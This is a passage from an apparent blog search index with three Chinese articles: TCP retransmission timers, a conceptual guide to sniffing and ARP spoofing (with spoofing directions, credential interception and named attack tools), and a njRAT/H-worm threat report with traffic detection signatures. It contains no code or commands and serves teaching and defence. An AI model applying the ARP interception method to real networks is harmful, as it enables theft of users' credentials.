Time－Out）应当略大于TCP报文段的平均往返时延RTT，一般可取RTO＝2RTT。\n但是，也可以根据具体情况人为调整RTO的值，例如可以设置此超时重传时间RTO＝90秒。\n当超过了规定的超时重传时间还未收到对此TCP报文段的预期确认信息，则必须重新传输此TCP报文段。\u003c/p\u003e\n\u003cp\u003e二：四种定时器\n1： 重传计时器（retransmission timer）：当TCP发送报文段时，就创建该特定报文段的重传计时器。可能发生两种情况：\nA： 若在计时器截止时间到（通常是60秒）之前收到了对此特定报文段的确认，则撤销此计时器。\nB： 若在收到了对此特定报文段的确认之前计时器截止期到，则重传此报文段，并将计时器复位。\n2： 坚持计时器（persist timer ） ：为了对付零窗口大小通知，TCP需要另一个计时器。\n假定接收TCP宣布了窗口大小为零。发送TCP就停止传送报文段，直到接收TCP发送确认并宣布一个非零的窗口大小。但这个确认可能会丢失。\n我们知道在TCP中，对确认是不需要发送确认的。若确认丢失了，接收TCP并不知道，而是会认为它已经完成任务了，并等待着发送TCP接着会发送更多的报文段。但发送TCP由于没有收到确认，就等待对方发送确认来通知窗口的大小。双方的TCP都在永远地等待着对方。\n要打开这种死锁，TCP为每一个连接使用一个坚持计时器。当发送TCP收到一个窗口大小为零的确认时，就启动坚持计时器。当坚持计时器期限到时，发送TCP就发送一个特殊的报文段，叫做探测报文段。这个报文段只有一个字节的数据。它有一个序号，但它的序号永远不需要确认；甚至在计算对其他部分的数据的确认时该序号也被忽略。探测报文段提醒对端：确认已丢失，必须重传。\n坚持计时器的值设置为重传时间的数值。但是，若没有收到从接收端来的响应，则需发送另一个探测报文段，并将坚持计时器的值加倍和复位。发送端继续发送探测报文段，将坚持计时器设定的值加倍和复位，直到这个值增大到门限值（通常是60秒）为止。在这以后，发送端每隔60秒就发送一个探测报文段，直到窗口重新打开。\n3： 保活计时器（keepalive timer ） ：保活计时器使用在某些实现中，用来防止在两个TCP之间的连接出现长时期的空闲。\n假定客户打开了到服务器的连接，传送了一些数据，然后就保持静默了。也许这个客户出故障了。在这种情况下，这个连接将永远地处理打开状态。\n要解决这种问题，在大多数的实现中都是使服务器设置保活计时器。每当服务器收到客户的信息，就将计时器复位。\n保活计时器通常设置为2小时。若服务器过了2小时还没有收到客户的信息，它就发送探测报文段。\n若发送了10个探测报文段（每一个相隔75秒）还没有响应，就假定客户出了故障，因而就终止该连接。\n4： 时间等待计时器（2MSL timer ）：时间等待计时器是在连接终止期间使用的。\n当TCP关闭一个连接时，它并不认为这个连接马上就真正地关闭了。\n在时间等待期间中，连接还处于一种中间过渡状态。\n这就可以使重复的FIN报文段（如果有的话）可以到达目的站因而可将其丢弃。\n这个计时器的值通常设置为一个报文段的寿命期待值的两倍。\u003c/p\u003e\n\u003cp\u003e三：拥塞控制用到的术语\n数据段：一个数据段就是任意的TCP/IP数据或确认包（或两者兼备）。\n发送端最 \u003ca href=\"http://lib.csdn.net/base/spark\" title=\"Apache Spark知识库\"\u003e大数据\u003c/a\u003e 段尺寸（SMSS）:SMSS是发送端能发送的最大数据段的尺寸。这个值是以网络最大传送单元（MTU），MTU路径发现 \u003ca href=\"http://lib.csdn.net/base/datastructure\" title=\"算法与数据结构知识库\"\u003e算法\u003c/a\u003e，RMSS(见下一项)，或其它因素为基础的。该尺寸不包括TCP/IP头和选项。\n接收端最大数据段尺寸（RMSS）:RMSS是接收端愿意接收的最大数据段的尺寸。这个值在连接开始时接收端发送的MSS选项中说明。又或者，如果MSS选项没有使用，就是536字节[Bra89].该尺寸不包括TCP/IP头和选项。\n满尺寸数据段：一个包括允许最大数目数据的数据段（也就是说，一个包括SMSS字节数据的数据段）。\n接收端窗口（rwnd）：最近通知的接收端窗口。\n拥塞窗口（cwnd）：一个TCP状态参量，代表着一个TCP允许发送的最大数据量。在任意\n一个给定的时刻，TCP不会发送序号大于最大确认序号和cwnd、rwnd中较小者的数据。\n初始窗口（iw）：初始窗口是三次握手完成后发送端的拥塞窗口的尺寸。\n丢失窗口（lw）：丢失窗口是在一个TCP根据它的重传定时器检测到了数据丢失之后，拥塞窗口的尺寸。\n重启窗口（rw）：重启窗口是TCP在一段闲置期之后重新开始传送后拥塞窗口的尺寸（如果使用慢启动算法；参见4.1节以获取更多的讨论）。\n传送尺寸：已经被发送但还没有确认的数据的总量。\u003c/p\u003e","title":"TCP-IP详解卷1-21：TCP的超时与重传（Timeout and Retransmission）"},{"content":"关于嗅探与ARP欺骗的原理，网络上有很多很好的帖子和文章，但大部分都忽略了数据在网络中的转发过程。实际上用嗅探和ARP欺骗来做标题有点忽悠的成分，因为嗅探本身就包含了主动嗅探和被动嗅探，欺骗的目的只是让数据经过本机，即：主动嗅探=ARP欺骗+抓包。\n若未加说明，文章中的三层指的是网络层，二层指的是数据链路层。\n一.数据在网络中的转发过程：\n1.数据在交换网络中的传输过程如下图(PC1发包给PC2)\n注:此图是以公网网络为基础，如果PC为内网或者加入私有网络则在出口要考虑NAT等情况\na)PC1发现目标IP110.1.1.2(网络号110.1.1.0)与本机不在同网段(掩码为24位，所以本机网络号为1.1.1.0)，因此PC1会将数据包丢给网关，为了数据报文能够到达网关，PC1封装的报文里头会以网关的MAC作为目的MAC(网络数据传输，原目的IP不变，原目的MAC通过三层网络时会不断改变)。\nb)数据报文到达二层交换机(这里只涉及二层交换，如果是三层交换机并设置了端口IP，则会有所不同)后，由于二层交换机拆解数据报文时只拆解到二层(只拆解到原目的MAC),根本看不懂IP，所以会查找MAC-接口映射表(所谓的建立虚拟链路)，发现网关MAC对应的是E5口，则将数据包从E5口丢出去。\nc)路由器R1收到数据报文后查看原目的IP(路由器属于三层设备，拆解数据包到IP层)，查看数据包的目的IP为110.1.1.1，进而查找路由表，发现数据要到达目的网络，数据包必须往下一跳218.1.1.2发送，因此路由器对数据包进行重封装，查看ARP表，原、目的IP保持不变，将原MAC修改成R1出接口(连接到R2的那个端口)的MAC地址，目的MAC改成R2的进接口(R2接R1的接口MAC地址)，接下来和二层传输一样，将数据包丢给R2。\nd)R2收到数据包后与R1做的操作一样，直到数据报文到达目标。根据之前的步骤可以推出数据报文到达目标后，原IP、目的IP不变，原MAC为R2接PC2的接口MAC、目的MAC为PC2的MAC。PC2发现数据报文的目的IP和目的MAC与本机相符(非攻击者)，从而拆解数据包，获得数据报文内容。回复报文的时候和之前的传输一样。\n2.数据在共享网络中的传输图(PC1发包给PC2)\n数据报文在共享网络中的传输和交换网络唯一的不同在于第二个步骤，交换网络中交换机会根据MAC-端口对应表进行传输，也就是说除了网关(以图为例)，其他同交换机下的PC机无法收到数据报文(没出现攻击的情况下)。而在共享网络中，由于HUB属于一层设备，对于到达本身的数据报文，HUB会对报文进行广播(除了收到报文的那个接口)，因此接在同HUB的所有PC都能收到该报文。注：通常情况下，网卡都是工作在非混杂模式，也就是说即使收到数据报文，网卡会判断目的MAC是否和自己的一样，不一样的话代表数据包不是给自己的，因此会丢弃，只接收那些目的MAC和自己一样的数据报文。在嗅探时必须开启混杂模式，在该模式下，网卡不对数据报文进行判断，一锅端!二.ARP欺骗：1.欺骗过程及原理从上面的数据报文传输过程可以知道二层传输是通过MAC进行传输的，在传输过程中PC需要查询ARP表。因此攻击者只要可以改变目标的ARP表就能实现攻击,从而将数据牵引到自己的机器上，如图\na)在正常情况下，PC1通过本地ARP表知道网关1.1.1.2的MAC地址为1.1.1.10260.8c01.1111，所以PC1封装包的时候会将目的MAC设置成路由器的MAC地址。交换机通过MAC-端口对应表能够正常的将数据报文从E1口转发给路由器，实现数据传输。\nb)黑客对PC2有完全的控制权，通过不断发送(假冒的)ARP报文告诉PC1，自己才是1.1.1.1对应的MAC是0260.8c01.1113。\nc)PC1收到黑客发的ARP报文后，刷新自己的ARP表，将1.1.1.1的MAC误认为是0260.8c01.1113。\nd)PC1将要访问外网数据报文的目的MAC设置成0260.8c01.1113(PC2的MAC,目测PC1被自己的ARP表给骗了)。\ne)交换机通过拆解包发现目的MAC对应的端口为E4(PC2的那个接口，连锁反应了!)，就将数据报文从E4口丢出。\nf)PC2成功得到PC1发往外网的请求报文。偷看后重新封包，原IP、目的IP不改变，将原MAC改成PC2的MAC，目的MAC改成网关的(数据包恢复正常，看起来和没攻击时PC1发出的报文完全一样)，PC2修改完后将数据包丢给交换机，从而欺骗实现，当然对于该包的回应报文，由于路由器ARP表没被污染，所以能够正常的将返回报文直接丢给PC1。\n2.如何选择欺骗方向 在欺骗过程中，选择正确的欺骗方向也是很重要的，通过阅读我们可以看到上面的欺骗方向是PC1à网关。那么我们如何确定正确的欺骗方向呢?\na) 员工工作网络，我们知道正常请求报文里面含有大量的敏感信息，如网站管理后台账户密码等。而请求包的走向是员工PCà网关，如果黑客控制的电脑与员工内部同一网段，那么正常情况下黑客会欺骗员工的PC机自己是网关，从而截获请求报文\nb)服务器网络，而在机房(服务器网络)中，管理员一般会在外部进行访问，即请求报文是由网关转发给服务器，也就是说请求报文的走向是网关à服务器，如果黑客控制的是机房里的一台服务器，为了截获到请求报文中的服务器登录密码等敏感信息，攻击者一般会对网关发起欺骗，告诉网关自己是某台或者某些服务器。\nc) 实际上不管在员工网络或者机房内部网络，黑客比较习惯与进行双向欺骗，一方面告诉网关自己是某些终端，另一方面告诉同网段的其他终端自己是网关，但是该方法会产生大量的垃圾信息，因为在回应报文中基本上不会携带敏感的信息。\n3. ARP欺骗的瓶颈为了得到更多的敏感信息，很多人会使用双向+批量的欺骗方式，一方面告诉网关自己的MAC对应的IP是网段内所有的IP(这样无论数据报文是给哪台机子的，只要是发送给同网段机器网关都会转发给攻击者);另一方面欺骗所有同网段终端自己是网关(实际上欺骗同网段所有的终端比较容易，直接将ARP包的目的mac设置成FFFFFFFFF就行了)，从而所有终端发出的报文都会经过攻击者的机器。但是如果这样子做，攻击者控制的机器直接承载了整个网段的数据流量，要对整个网段的数据进行处理，重封装、再转发，这在服务器的性能和配置上要求可不是一般的苛刻，所以选择好欺骗对象和方向显得非常重要。\n三.嗅探和ARP欺骗的区别\na) 嗅探一般存在于共享网络中，在共享网络中一般使用HUB作为接入层，经过HUB的数据报文不管长得什么样，因为HUB工作在第一层，看不懂二层以上的报文是啥样子的，所以一律以广播处理，在同一网段的计算机只要将网卡设置成混杂模式即可。\nb) 嗅探在交换网络中不适用，因为交换机是通过MAC-端口对应表来转发数据报文的，所以在交换网络中如果只将网卡设置成混杂模式，而不进行ARP欺骗，其结果只能接受到网络中的广播包。\nc) 共享网络中适用ARP欺骗，那是多此一举，适用ARP欺骗的方式会对影响网络流量，对网络造成很大的影响，另外适用ARP欺骗会产生大量的ARP报文，很容易被发现。而嗅探对整个网络几乎没有影响，因为嗅探只是做监听，而不会产生多余的数据报文。\n四.加密是否安全\n很多人说使用HTTPS或者VPN等手段就可以防止嗅探或者ARP欺骗，这是不全面的。具体要看什么网络及什么技术。下面笔者针对HTTPS和VPN在共享、交换网络中进行探讨。\n1. 共享网络+嗅探\na) 在共享网络使用HTTPS确实可以很好的解决数据被窃取的问题(当然个人证书泄露除外)，由于监听的机器没有证书也就无法进行解密。\nb) 在共享网络中使用VPN技术不一定能够防止，部分VPN技术只是在原有的数据报文多加一个IP报头，对于数据内容本身未做加密，攻击者使用监听技术获取该类数据还是能正常获取报文的内容的\n2. 交换网络+ARP嗅探从原理上讲，该类型的攻击属于中间人攻击，可以伪造任何证书，因此对于HTTPS等来说，攻击者只要偷梁换柱，伪造证书就可以成功获得数据的明文信息。但对于部分使用秘钥不通过公网传输的协议(例如使用publikey验证的SSH,KEY不通过网络传输)就无法截取明文信息，也无法伪造。\n3. 共享网络+ARP欺骗该类型攻击和第2中攻击没啥两样，就不做详细讨论了五.如何防止ARP欺骗及嗅探。实际上网上已经有很多种解决方案了，但在这边还是小提一下简单的防止方式。第四点也有提到了一部分。在交换网络中一般使用双向绑定就可以解决ARP欺骗的问题了，有些牛人说可以直接伪造MAC欺骗交换机，这也是一种绕过方法，但实际上这种方法可行性不高，虽然有时候确实能够截获到数据报文，但会时交换机的MAC-端口对应表产生混乱，另外报文若发给你就不会发给目标服务器，会产生拒绝服务攻击。在共享网络中使用双向绑定理论上是没效果的，因为只要经过HUB的数据都会进行广播，即使绑定，所有终端也会收到数据报文。Hub不像二层交换，有MAC-端口对应表。当然对于嗅探和ARP攻击的原理、利用和防御不止文中提到的这些，文章只是笔者的一点心得体会，仅供参考。说这么多，实际上要进行ARP攻击的话，一个cain、一个sniffer、一个ettercap就可以完全搞定了。\n","permalink":"https://www.lucien116.com/archives/220/","summary":"\u003cp\u003e关于嗅探与ARP欺骗的原理，网络上有很多很好的帖子和文章，但大部分都忽略了数据在网络中的转发过程。实际上用嗅探和ARP欺骗来做标题有点忽悠的成分，因为嗅探本身就包含了主动嗅探和被动嗅探，欺骗的目的只是让数据经过本机，即：主动嗅探=ARP欺骗+抓包。\u003c/p\u003e\n\u003cp\u003e若未加说明，文章中的三层指的是网络层，二层指的是数据链路层。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一.数据在网络中的转发过程：\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e1.数据在交换网络中的传输过程如下图(PC1发包给PC2)\u003c/p\u003e\n\u003cp\u003e注:此图是以公网网络为基础，如果PC为内网或者加入私有网络则在出口要考虑NAT等情况\u003c/p\u003e\n\u003cp\u003ea)PC1发现目标IP110.1.1.2(网络号110.1.1.0)与本机不在同网段(掩码为24位，所以本机网络号为1.1.1.0)，因此PC1会将数据包丢给网关，为了数据报文能够到达网关，PC1封装的报文里头会以网关的MAC作为目的MAC(网络数据传输，原目的IP不变，原目的MAC通过三层网络时会不断改变)。\u003c/p\u003e\n\u003cp\u003eb)数据报文到达二层交换机(这里只涉及二层交换，如果是三层交换机并设置了端口IP，则会有所不同)后，由于二层交换机拆解数据报文时只拆解到二层(只拆解到原目的MAC),根本看不懂IP，所以会查找MAC-接口映射表(所谓的建立虚拟链路)，发现网关MAC对应的是E5口，则将数据包从E5口丢出去。\u003c/p\u003e\n\u003cp\u003ec)路由器R1收到数据报文后查看原目的IP(路由器属于三层设备，拆解数据包到IP层)，查看数据包的目的IP为110.1.1.1，进而查找路由表，发现数据要到达目的网络，数据包必须往下一跳218.1.1.2发送，因此路由器对数据包进行重封装，查看ARP表，原、目的IP保持不变，将原MAC修改成R1出接口(连接到R2的那个端口)的MAC地址，目的MAC改成R2的进接口(R2接R1的接口MAC地址)，接下来和二层传输一样，将数据包丢给R2。\u003c/p\u003e\n\u003cp\u003ed)R2收到数据包后与R1做的操作一样，直到数据报文到达目标。根据之前的步骤可以推出数据报文到达目标后，原IP、目的IP不变，原MAC为R2接PC2的接口MAC、目的MAC为PC2的MAC。PC2发现数据报文的目的IP和目的MAC与本机相符(非攻击者)，从而拆解数据包，获得数据报文内容。回复报文的时候和之前的传输一样。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://files.jb51.net/file_images/article/201509/2015916104133180.jpg?2015816104149\"\u003e\u003c/p\u003e\n\u003cp\u003e2.数据在共享网络中的传输图(PC1发包给PC2)\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://files.jb51.net/file_images/article/201509/2015916104209278.jpg?2015816104220\"\u003e\u003c/p\u003e\n\u003cp\u003e数据报文在共享网络中的传输和交换网络唯一的不同在于第二个步骤，交换网络中交换机会根据MAC-端口对应表进行传输，也就是说除了网关(以图为例)，其他同交换机下的PC机无法收到数据报文(没出现攻击的情况下)。而在共享网络中，由于HUB属于一层设备，对于到达本身的数据报文，HUB会对报文进行广播(除了收到报文的那个接口)，因此接在同HUB的所有PC都能收到该报文。注：通常情况下，网卡都是工作在非混杂模式，也就是说即使收到数据报文，网卡会判断目的MAC是否和自己的一样，不一样的话代表数据包不是给自己的，因此会丢弃，只接收那些目的MAC和自己一样的数据报文。在嗅探时必须开启混杂模式，在该模式下，网卡不对数据报文进行判断，一锅端!二.ARP欺骗：1.欺骗过程及原理从上面的数据报文传输过程可以知道二层传输是通过MAC进行传输的，在传输过程中PC需要查询ARP表。因此攻击者只要可以改变目标的ARP表就能实现攻击,从而将数据牵引到自己的机器上，如图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://files.jb51.net/file_images/article/201509/2015916104242224.jpg?2015816104253\"\u003e\u003c/p\u003e\n\u003cp\u003ea)在正常情况下，PC1通过本地ARP表知道网关1.1.1.2的MAC地址为1.1.1.10260.8c01.1111，所以PC1封装包的时候会将目的MAC设置成路由器的MAC地址。交换机通过MAC-端口对应表能够正常的将数据报文从E1口转发给路由器，实现数据传输。\u003c/p\u003e\n\u003cp\u003eb)黑客对PC2有完全的控制权，通过不断发送(假冒的)ARP报文告诉PC1，自己才是1.1.1.1对应的MAC是0260.8c01.1113。\u003c/p\u003e\n\u003cp\u003ec)PC1收到黑客发的ARP报文后，刷新自己的ARP表，将1.1.1.1的MAC误认为是0260.8c01.1113。\u003c/p\u003e\n\u003cp\u003ed)PC1将要访问外网数据报文的目的MAC设置成0260.8c01.1113(PC2的MAC,目测PC1被自己的ARP表给骗了)。\u003c/p\u003e\n\u003cp\u003ee)交换机通过拆解包发现目的MAC对应的端口为E4(PC2的那个接口，连锁反应了!)，就将数据报文从E4口丢出。\u003c/p\u003e\n\u003cp\u003ef)PC2成功得到PC1发往外网的请求报文。偷看后重新封包，原IP、目的IP不改变，将原MAC改成PC2的MAC，目的MAC改成网关的(数据包恢复正常，看起来和没攻击时PC1发出的报文完全一样)，PC2修改完后将数据包丢给交换机，从而欺骗实现，当然对于该包的回应报文，由于路由器ARP表没被污染，所以能够正常的将返回报文直接丢给PC1。\u003c/p\u003e\n\u003cp\u003e2.如何选择欺骗方向 在欺骗过程中，选择正确的欺骗方向也是很重要的，通过阅读我们可以看到上面的欺骗方向是PC1à网关。那么我们如何确定正确的欺骗方向呢?\u003c/p\u003e\n\u003cp\u003ea) 员工工作网络，我们知道正常请求报文里面含有大量的敏感信息，如网站管理后台账户密码等。而请求包的走向是员工PCà网关，如果黑客控制的电脑与员工内部同一网段，那么正常情况下黑客会欺骗员工的PC机自己是网关，从而截获请求报文\u003c/p\u003e\n\u003cp\u003eb)服务器网络，而在机房(服务器网络)中，管理员一般会在外部进行访问，即请求报文是由网关转发给服务器，也就是说请求报文的走向是网关à服务器，如果黑客控制的是机房里的一台服务器，为了截获到请求报文中的服务器登录密码等敏感信息，攻击者一般会对网关发起欺骗，告诉网关自己是某台或者某些服务器。\u003c/p\u003e\n\u003cp\u003ec) 实际上不管在员工网络或者机房内部网络，黑客比较习惯与进行双向欺骗，一方面告诉网关自己是某些终端，另一方面告诉同网段的其他终端自己是网关，但是该方法会产生大量的垃圾信息，因为在回应报文中基本上不会携带敏感的信息。\u003c/p\u003e\n\u003cp\u003e3. ARP欺骗的瓶颈为了得到更多的敏感信息，很多人会使用双向+批量的欺骗方式，一方面告诉网关自己的MAC对应的IP是网段内所有的IP(这样无论数据报文是给哪台机子的，只要是发送给同网段机器网关都会转发给攻击者);另一方面欺骗所有同网段终端自己是网关(实际上欺骗同网段所有的终端比较容易，直接将ARP包的目的mac设置成FFFFFFFFF就行了)，从而所有终端发出的报文都会经过攻击者的机器。但是如果这样子做，攻击者控制的机器直接承载了整个网段的数据流量，要对整个网段的数据进行处理，重封装、再转发，这在服务器的性能和配置上要求可不是一般的苛刻，所以选择好欺骗对象和方向显得非常重要。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e三.嗅探和ARP欺骗的区别\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003ea) 嗅探一般存在于共享网络中，在共享网络中一般使用HUB作为接入层，经过HUB的数据报文不管长得什么样，因为HUB工作在第一层，看不懂二层以上的报文是啥样子的，所以一律以广播处理，在同一网段的计算机只要将网卡设置成混杂模式即可。\u003c/p\u003e\n\u003cp\u003eb) 嗅探在交换网络中不适用，因为交换机是通过MAC-端口对应表来转发数据报文的，所以在交换网络中如果只将网卡设置成混杂模式，而不进行ARP欺骗，其结果只能接受到网络中的广播包。\u003c/p\u003e\n\u003cp\u003ec) 共享网络中适用ARP欺骗，那是多此一举，适用ARP欺骗的方式会对影响网络流量，对网络造成很大的影响，另外适用ARP欺骗会产生大量的ARP报文，很容易被发现。而嗅探对整个网络几乎没有影响，因为嗅探只是做监听，而不会产生多余的数据报文。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e四.加密是否安全\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e很多人说使用HTTPS或者VPN等手段就可以防止嗅探或者ARP欺骗，这是不全面的。具体要看什么网络及什么技术。下面笔者针对HTTPS和VPN在共享、交换网络中进行探讨。\u003c/p\u003e\n\u003cp\u003e1. 共享网络+嗅探\u003c/p\u003e\n\u003cp\u003ea) 在共享网络使用HTTPS确实可以很好的解决数据被窃取的问题(当然个人证书泄露除外)，由于监听的机器没有证书也就无法进行解密。\u003c/p\u003e\n\u003cp\u003eb) 在共享网络中使用VPN技术不一定能够防止，部分VPN技术只是在原有的数据报文多加一个IP报头，对于数据内容本身未做加密，攻击者使用监听技术获取该类数据还是能正常获取报文的内容的\u003c/p\u003e\n\u003cp\u003e2. 交换网络+ARP嗅探从原理上讲，该类型的攻击属于中间人攻击，可以伪造任何证书，因此对于HTTPS等来说，攻击者只要偷梁换柱，伪造证书就可以成功获得数据的明文信息。但对于部分使用秘钥不通过公网传输的协议(例如使用publikey验证的SSH,KEY不通过网络传输)就无法截取明文信息，也无法伪造。\u003c/p\u003e\n\u003cp\u003e3. 共享网络+ARP欺骗该类型攻击和第2中攻击没啥两样，就不做详细讨论了五.如何防止ARP欺骗及嗅探。实际上网上已经有很多种解决方案了，但在这边还是小提一下简单的防止方式。第四点也有提到了一部分。在交换网络中一般使用双向绑定就可以解决ARP欺骗的问题了，有些牛人说可以直接伪造MAC欺骗交换机，这也是一种绕过方法，但实际上这种方法可行性不高，虽然有时候确实能够截获到数据报文，但会时交换机的MAC-端口对应表产生混乱，另外报文若发给你就不会发给目标服务器，会产生拒绝服务攻击。在共享网络中使用双向绑定理论上是没效果的，因为只要经过HUB的数据都会进行广播，即使绑定，所有终端也会收到数据报文。Hub不像二层交换，有MAC-端口对应表。当然对于嗅探和ARP攻击的原理、利用和防御不止文中提到的这些，文章只是笔者的一点心得体会，仅供参考。说这么多，实际上要进行ARP攻击的话，一个cain、一个sniffer、一个ettercap就可以完全搞定了。\u003c/p\u003e","title":"详解嗅探(被动嗅探)与ARP欺骗(主动嗅探)"},{"content":" 概要 通过对国外一系列“著名”的木马活动进行跟踪调查，本报告从威胁情报的角度针对njRAT\u0026amp;H-worm进行分析。\nnjRAT 使用微软 .NET 框架开发，因其广泛流传的在线支持和教程，成为了最成功的网络犯罪工具之一。H-worm 借鉴了njR A T 的开源代码，服务端为使用 VBS 脚本编写，适用于Windows全系操作系统并且使用了比较先进的 User-Agent 传递数据的方式，具有开启Ｕ盘感染的功能。\nH-worm是一个VBS 脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式，为网络罪犯提供了类似njRAT的控制方式 。\n关键点 根据长期跟踪,发现njRAT\u0026amp;H-worm主要流行于中东地区,有证据表明极端组织ISIS也曾使用njRAT作为重要的网络武器 ；\nH-worm 曾被用于攻击国外能源机构 ；\nnjRAT主要通过被感染的游戏、破解软件和注册机感染目标设备 ；\nH-worm主要通过携带病毒的电子邮件附件和恶意链接传播扩散 ；\n主要威胁针对所有版本windows操作系统包括目前的win10操作系统 ，并且网络中流传znjRAT\u0026amp;H-worm对大部分反病毒软件免杀的在线支持和教程 ；\n建议采取以下措施来预防和发现njRAT\u0026amp;H-worm的入侵：\no 依据本报告威胁指示器列表（IOCs）在网络安全设备中添加相应检测和防护策略 ；\no 加强邮件服务器对邮件附件和正文中链接的检测能力 ；\no 避免从非信任渠道下载游戏 、破解软件和注册机等程序 ；\no 避免打开不受信任来源的电子邮件，尤其是带有附件和外部 链接内容的邮件。\n战略威胁情报 njRAT\u0026amp;H-worm在2013年第一次出现 ，主要盛行于中东地区，在世界其他国家和地区也有广泛传播。\nnjRAT 程序完美支持阿拉伯字符 ，有证据表明极端组织 ISIS 使用njRAT作为重要的网络武器。njRAT使用微软的 .NET框架开发 ， 并像其他许多木马一样为远程攻击者提供了对被感 染系统的完全控制功能。我们已经看到攻击者利用被污染的流 行游戏、破解软件及注册机来 进行污染 传播。njRAT木马因其广泛流传的在线支持和教程，已成为最成功的网络犯罪工具之一。与此同时，目前网络中也有较多.NET 混淆工具流传，使病毒检测相对困难，妨碍了安全研究人员的分析。\n早在2013年H-worm就被发现用于对国外能源机构的攻击。H-worm是一个VBS脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式。其作者Houdini使用了njRAT作者njq8的一部分开源代码 ，国外分析机构也常将H-worm作为njRAT的主要变种。\n根据最近一周的跟踪分析，发现沙特阿拉伯和捷克njRAT感染尤为集中。\n图1：njRAT感染分布图\n表1： njRAT感染IP（部分）\nH-worm病毒仍在全球范围内大量活跃，根据跟踪分析，发现感染对象包括美国、俄罗斯、沙特阿拉伯、阿根廷、秘鲁、巴西、智利、巴拉圭、委内瑞拉 、印度以及中国。\n图2： H-worm国外感染分布图\n表2： H-worm国外感染IP（部分）\n重点对国内H-worm感染主机进行检测，发现涉及18个省市共发现200多个感染主机 。\n图3： H-worm 国内感染分布图\n图4： H-worm 国内感染主机列表\n对从2013年开始至今的H-worm病毒主控端（C\u0026amp;C）进行分析统计,共发现一千余个分布于全球58个国家和地区的主控端服务器，为上文中的说法提供了有力的支撑。\n图5： H-worm历史主控端（C \u0026amp; C）分布图\n部分活跃的H-worm主控端详情如下表：\n表3：H-worm 活跃主控端详情（部分）\n战术威胁情报 njRAT利用动态DNS 的作为控制服务器（ C\u0026amp;C ），使用自定义的TCP协议进行通信 ，并且其通信端口可配置。通过对被感染终端的网络通信分析，发现可根据“ LV |” 加上结尾的“ [endof]” 一组字符来作出感染njRAT的快速判断。\n图6： njRAT通信数据包\n从上图可以看到njRAT的网络数据特征，可以发现带有base64编码的字符串。解密后得到下图的阿拉伯语句。\n图 7： BASE64 编码解密\nH-worm是一个VBS 脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式 ，为网络罪犯提供了类似njRAT的控件。其有效载荷仅仅是一个VBS文件，并且通过http协议的POST请求与主控端通信。通过对被感染终端POST数据包的分析， 发现可以通过检测http协议POST请求中是否包含“/is-ready”字符串来快速感知网络中感染H-worm病毒终端的情况。\n图8： H-worm 通信协议分析\n结论 尽管微软公司从2014年6月开始试图切断njRAT＆H-worm的主控 端（ C\u0026amp;C ）通道，但是至今njRAT木马的变种H-worm 病毒仍然处于活跃状态中 。我们继续看到恶意程序使用者利用各种动态 DNS服务方式与它的主控端（ C\u0026amp;C ）服务器通信， njRAT＆H-worm仍然是如今环境下最流行和普遍的远程控制木马程序之一。\n威胁指标 表4中的威胁指标可被用于检测njRAT＆H-worm相关的活动。IP地址和域名可能包含恶意内容，因此在浏览器中打开它们之前请考虑可能存在的风险。\n","permalink":"https://www.lucien116.com/archives/202/","summary":"\u003cul\u003e\n\u003cli\u003e\n\u003ch1 id=\"概要\"\u003e概要\u003c/h1\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e通过对国外一系列“著名”的木马活动进行跟踪调查，本报告从威胁情报的角度针对njRAT\u0026amp;H-worm进行分析。\u003c/p\u003e\n\u003cp\u003enjRAT 使用微软 .NET 框架开发，因其广泛流传的在线支持和教程，成为了最成功的网络犯罪工具之一。H-worm 借鉴了njR A T 的开源代码，服务端为使用 VBS 脚本编写，适用于Windows全系操作系统并且使用了比较先进的 User-Agent 传递数据的方式，具有开启Ｕ盘感染的功能。\u003c/p\u003e\n\u003cp\u003eH-worm是一个VBS 脚本编写的病毒，使用了比较先进的User-Agent传递数据的方式，为网络罪犯提供了类似njRAT的控制方式 。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ch1 id=\"关键点\"\u003e关键点\u003c/h1\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e根据长期跟踪,发现njRAT\u0026amp;H-worm主要流行于中东地区,有证据表明极端组织ISIS也曾使用njRAT作为重要的网络武器 ；\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eH-worm 曾被用于攻击国外能源机构 ；\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003enjRAT主要通过被感染的游戏、破解软件和注册机感染目标设备 ；\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eH-worm主要通过携带病毒的电子邮件附件和恶意链接传播扩散 ；\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e主要威胁针对所有版本windows操作系统包括目前的win10操作系统 ，并且网络中流传znjRAT\u0026amp;H-worm对大部分反病毒软件免杀的在线支持和教程   ；\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e建议采取以下措施来预防和发现njRAT\u0026amp;H-worm的入侵：\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eo  依据本报告威胁指示器列表（IOCs）在网络安全设备中添加相应检测和防护策略  ；\u003c/p\u003e\n\u003cp\u003eo  加强邮件服务器对邮件附件和正文中链接的检测能力 ；\u003c/p\u003e\n\u003cp\u003eo  避免从非信任渠道下载游戏  、破解软件和注册机等程序  ；\u003c/p\u003e\n\u003cp\u003eo  避免打开不受信任来源的电子邮件，尤其是带有附件和外部 链接内容的邮件。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ch1 id=\"战略威胁情报\"\u003e战略威胁情报\u003c/h1\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003enjRAT\u0026amp;H-worm在2013年第一次出现 